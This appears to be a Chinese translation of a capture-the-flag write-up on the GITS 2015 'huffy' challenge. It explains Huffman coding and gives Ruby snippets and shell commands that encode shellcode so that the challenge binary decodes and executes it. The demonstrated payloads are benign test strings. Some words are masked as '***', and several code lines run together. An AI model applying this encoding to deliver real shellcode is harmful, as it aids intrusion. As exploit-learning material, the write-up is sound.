Huffy：哈夫曼編碼的shellcode
初次見到“shellcode”的時候，感覺非常高大上，其實接觸久了之后你會發現它實際上只是一段代碼(也可以是填充數據)，是一種用來發送到服務器利用特定漏洞的針對性代碼，一般可以利用它獲取一定的權限。今天我們將共同學習一種新的shellcode編碼方式——Huffy，即基于哈夫曼編碼的shellcode，這種方式利用哈夫曼樹壓縮數據的特性來對shellcode進行數據壓縮，以達到“短小精悍”的目的。
哈夫曼樹
因為這種方法叫做Huffy，并且最近我剛剛解決了一個有關哈夫曼樹的問題，所以首先我想到的就是哈夫曼樹。
如果你還不知道什么是哈夫曼樹，那我就在這里簡單提一下。哈夫曼樹是一種相當簡單的數據結構，它可以用來進行數據壓縮。哈夫曼樹的建立是通過讀取輸入的內容，然后創建一棵樹，出現頻率***的字符靠近樹的頂部，而頻率***的字符靠近樹的底部。
為了壓縮數據，它會遍歷整個樹以生成編碼位(左邊的編碼為0，右邊的編碼為1)。一個字符越靠近樹的頂部，那么該字符編碼之后所用的位數越少，這也被稱為“前綴碼”，這是一種非常簡潔的屬性，該屬性意味著沒有編碼的位串會作為另一個位串的前綴(換句話說，當你閱讀二進制位流的時候，你就能立刻知道解碼該字符何時結束)。
例如下面的哈夫曼樹：
通過該哈夫曼樹，我們就能知道它來自一個包含9個字符的文本，其中有5個字符是字母“o”，3個字符是字母“d”，1個字符是字母“g”。
所以，當你用該樹壓縮數據時，你可以將單詞“dog”作如下處理：
d=00(左左) o=1(右) g=01(左右)
所以，“dog”將會編碼成位流“00101”。
如果你看到以位流“01100”表示的字符串，你就可以按照上面哈夫曼樹來解碼：左右(g)、右(o)、左左(d)，所以解碼得到該字符串內容為“god”。
如果在一個字符串中所有字符的數目都相同，并且不同字符的種類數是2的整數冪(例如：“aabbccdd”中，不同字符的種類數為4，即2的平方)，你就需要通過一個平衡的哈夫曼樹來表示。例如，字符串“aaabbbcccddd”的表示將會是如下形式的哈夫曼樹：
通過查找上圖中的哈夫曼樹可知，字符串“abcd”將會編碼成“00011011”。哈夫曼樹的這種特性非常重要。#p#
程序分析
當你運行程序時，它將提示你輸入，在你輸入相應內容之后，它將輸出一堆毫無意義的東西(盡管輸出使我們理解變得簡單多了)。可以看下這個例子：
$ echo 'this is a test string' | ./huffy
CWD: /home/ron/gits2015/huffy
Nibble Frequency
------ ---------
0 0.113636
1 0.022727
2 0.113636
3 0.090909
4 0.090909
5 0.022727
6 0.181818
7 0.227273
8 0.022727
9 0.068182
a 0.022727
b 0.000000
c 0.000000
d 0.000000
e 0.022727
f 0.000000
Read 22 bytes
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.045455
Two lowest frequencies: 0.045455 and 0.068182
Two lowest frequencies: 0.068182 and 0.090909
Two lowest frequencies: 0.090909 and 0.113636
Two lowest frequencies: 0.113636 and 0.113636
Two lowest frequencies: 0.159091 and 0.181818
Two lowest frequencies: 0.204545 and 0.227273
Two lowest frequencies: 0.227273 and 0.227273
Two lowest frequencies: 0.340909 and 0.431818
Two lowest frequencies: 0.454545 and 0.454545
Two lowest frequencies: 0.772727 and 0.909091
Breaking!
0 --0--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
1 --0--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
2 --1--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
3 --1--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
4 --0--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
5 --0--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
6 --1--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
7 --1--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
8 --0--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
9 --1--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
a --1--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
b --0--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
c --1--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
d --1--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
e --1--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
f --1--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
Encoding input...
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
Binary Encoded:
h@V????Q?O?-????
Executing encoded input...
Segmentation fault
可能理解起來需要花一點時間，但是一旦你明白了，你會發現輸出的內容很直截了當。
***部分分析了每個半字節(半字節代表一個十六進制字符或字節的一半)出現的頻率。這部分結果告訴我們程序通過半字節的形式對數據進行了壓縮，然后給出了輸入內容中字符出現頻率的分析，***顯示了16個可能半字節的編碼結果。
編碼之后，會將這些位轉換成一個很長的二進制碼流，然后運行它們。
流程總結：首先輸入一些數據，然后以半字節為單位用哈夫曼編碼進行壓縮，***將其轉換成可執行的代碼，此時我們就得到了利用哈夫曼算法壓縮過的shellcode。
為了簡單起見，我還是用一些shell代碼來清理輸出的內容，以方便我更好地分析到底發生了什么：
$ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
得到如下結果：
[...]
0 0111
1 010000
2 1111
3 1000
4 0010
5 001010
6 100
7 110
8 00000
9 11010
a 101010
b 0000110000
c 10110000
d 100110000
e 1110000
f 1000110000
Encoding input...
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
如果你嘗試輸入“AAAA”，你將得到如下結果：
$ echo 'AAAA' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'[...]
0 0101
1 0
2 0000000000001101
3 101101
4 11
5 1001101
6 10001101
7 100001101
8 1000001101
9 10000001101
a 11101
b 100000001101
c 1000000001101
d 10000000001101
e 100000000001101
f 1000000000001101
Encoding input...
ASCII Encoded: 110110110110101010111
Binary Encoded:
如果你嘗試輸入“AAAA”，你將得到如下結果：
你可能知道“AAAA”=“41414141”(ASCII碼表示)，所以'4'和'1'就成了最常用的半字節，而由上面圖中也能證實，即'4'被編碼成'11'，'1'被編碼成'0'。我們希望以一個換行符'\x0a'結束，所以'0'和'a'也應該進行編碼。
如果我們將這些字符分開，可以得到如下內容：
ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111
需要注意的是，圖中編碼后的結果都被逆序了，雖然'11'和'0'其實并不受逆序的影響，但是'1010'='0101'='0'，'10111'='11101'='a'。說實話，剛開始我并沒有注意到逆序問題的存在，但我以一個新的方式解決了這個問題。
還記得前面說的嗎?如果有一個含有2的冪次方個節點的平衡樹，所有的字符都將被編碼成相同的位數。事實證明，結果有16個不同的半字節，所以如果你輸入的字符串中有偶數個半字節，那么它們都將被編碼成4位：
$ echo -ne '\x01\x23\x45\x67\x89\xab\xcd\xef' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000
它們不僅會被編碼成4位，而且每一種可能的4位值都被列出來了。#p#
方法使用
其實，這種方法使用起來非常簡單，需要做的僅僅是簡單的查表：
1、首先算出半字節對應的編碼后的二進制位;
2、將這些半字節作為shellcode寫出來;
3、填充shellcode，直到每個半字節都有相同的數量。
這已經相當的直觀了，你可以參考我的全部利用代碼，或者利用下面的片段根據實際情況進行拼接。
首先，創建一個表(下面是我手工創建的)：
@@table = { "0000" => 0x0, "0001" => 0x1, "0011" => 0x2, "0010" => 0x3, "0110" => 0x4, "0111" => 0x5, "0101" => 0x6, "0100" => 0x7, "1100" => 0x8, "1101" => 0x9, "1111" => 0xa, "1110" => 0xb, "1010" => 0xc, "1011" => 0xd, "1001" => 0xe, "1000" => 0xf,
}
然后，將shellcode進行編碼：
def encode_nibble(b)
binary = b.to_s(2).rjust(4, '0')
puts("Looking up %s... => %x" % [binary, @@table[binary]]) return @@table[binary]end@@hist = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]#shellcode = "\xeb\xfe"#shellcode = "\xcd\x03"shellcode = "hello world, this is my shellcode!"shellcode.each_byte do |b|
n1 = b >> 4
n2 = b & 0x0f
puts("n1 = %x" % n1)
puts("n2 = %x" % n2) @@hist[n1] += 1
@@hist[n2] += 1
out += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0F)).chrend
需要注意一下，我保存了一個直方圖，利用它可以使***一步的實現更加簡單，然后根據需要填充字符串：
def get_padding()
result = ""
max = @@hist.max
needed_nibbles = [] 0.upto(@@hist.length - 1) do |i|
needed_nibbles << [i] * (max - @@hist[i])
needed_nibbles.flatten! end
if((needed_nibbles.length % 2) != 0)
puts("We need an odd number of nibbles! Add some NOPs or something :(") exit
end
0.step(needed_nibbles.length - 1, 2) do |i|
n1 = needed_nibbles[i]
n2 = needed_nibbles[i+1]
result += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0f)).chr end
return resultend
現在輸出中應該包含一串對應shellcode的半字節，應該是這樣的。
***，我們將其輸出：
def output(str)
print "echo -ne '"
str.bytes.each do |b|
print("\\x%02x" % b) end
puts("' > in; ./huffy < in")end
#p#
修復bug
你注意到剛剛我哪里做錯了嗎?其實，剛剛我犯了個大錯誤，當我試圖編碼“hello world, this is my shellcode!”時，我得到如下結果：
echo -ne '\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
上面結果轉換為可視字符后為：
ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????
發生了什么事?這不是我之前輸入的字符串啊。
但是，觀察到字符串以“ajcco”開頭，而我之前輸入的字符串是以“hello”開頭。然后，半字節和字符的對應表就得到啦，如下所示：
0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000
為了解決這個問題，我試了下面的shellcode：
"\x01\x23\x45\x67\x89\xab\xcd\xef"
然后將其編碼，得到如下結果：
0000100001001100001010100110111000011001010111010011101101111111
以十六進制表示為：
"\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"
或者，以半字節形式表示為：
0000
1000
0100
1100
0010
1010
0110
1110
0001
1001
0101
1101
0011
1011
0111
1111
如果多花點精力觀察的話，我應該早就發現這個很明顯的問題啦：逆序問題。
因為之前我急于完成它，我沒有注意到每個半字節的各個位都被逆序了(1000而不是0001，0100而不是0010等等)。
雖然之前我沒有注意這個問題，但是我發現所有的結果都是完全錯誤的，所以我做了以下內容：
hack_table = {
0x02 => 0x08, 0x0d => 0x09, 0x00 => 0x00, 0x08 => 0x02,
0x0f => 0x01, 0x07 => 0x03, 0x03 => 0x07, 0x0c => 0x06,
0x04 => 0x04, 0x0b => 0x05, 0x01 => 0x0f, 0x0e => 0x0e,
0x06 => 0x0c, 0x09 => 0x0d, 0x05 => 0x0b, 0x0a => 0x0a
}
hack_out = ""
out.bytes.each do |b|
n1 = hack_table[b >> 4]
n2 = hack_table[b & 0x0f]
hack_out += ((n1 << 4) | (n2 & 0x000f)).chrendoutput(hack_out)
然后用原來的測試shellcode重新運行了該程序：
$ ruby ./sploit.rb
echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
運行上面我所得到的編碼之后的代碼，結果為：
$ echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
二進制編碼結果為：
hello world, this is my shellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
Executing encoded input...
Segmentation fault
現在看起來正常了，通過修改那個錯誤已經可以正確地解碼了。下面再試一下我比較喜歡的兩個測試字符串“\xcd\x03”(調試斷點，也可使用“\ xcc”)和“\ xeb \ xfe”(無限循環)：
$ ruby ./sploit.rb
echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
$ echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
Binary Encoded:
?Eg???
Executing encoded input...
Trace/breakpoint trap
$ ruby ./sploit.rb
echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
$ echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
Binary Encoded:
??"3DUfw??????
Executing encoded input...
[...infinite loop...]
總結
總的來說，利用哈夫曼編碼處理shellcode是一種相當直觀的方法，通過以半字節為單位壓縮你輸入的數據，然后就能得到編碼之后的shellcode，經過驗證，經過這種方法壓縮之后的shellcode能夠正常運行。
***，在使用該方法的時候，可以將目標shellcode填充得到1024個半字節，接著進行哈夫曼編碼并進行利用。
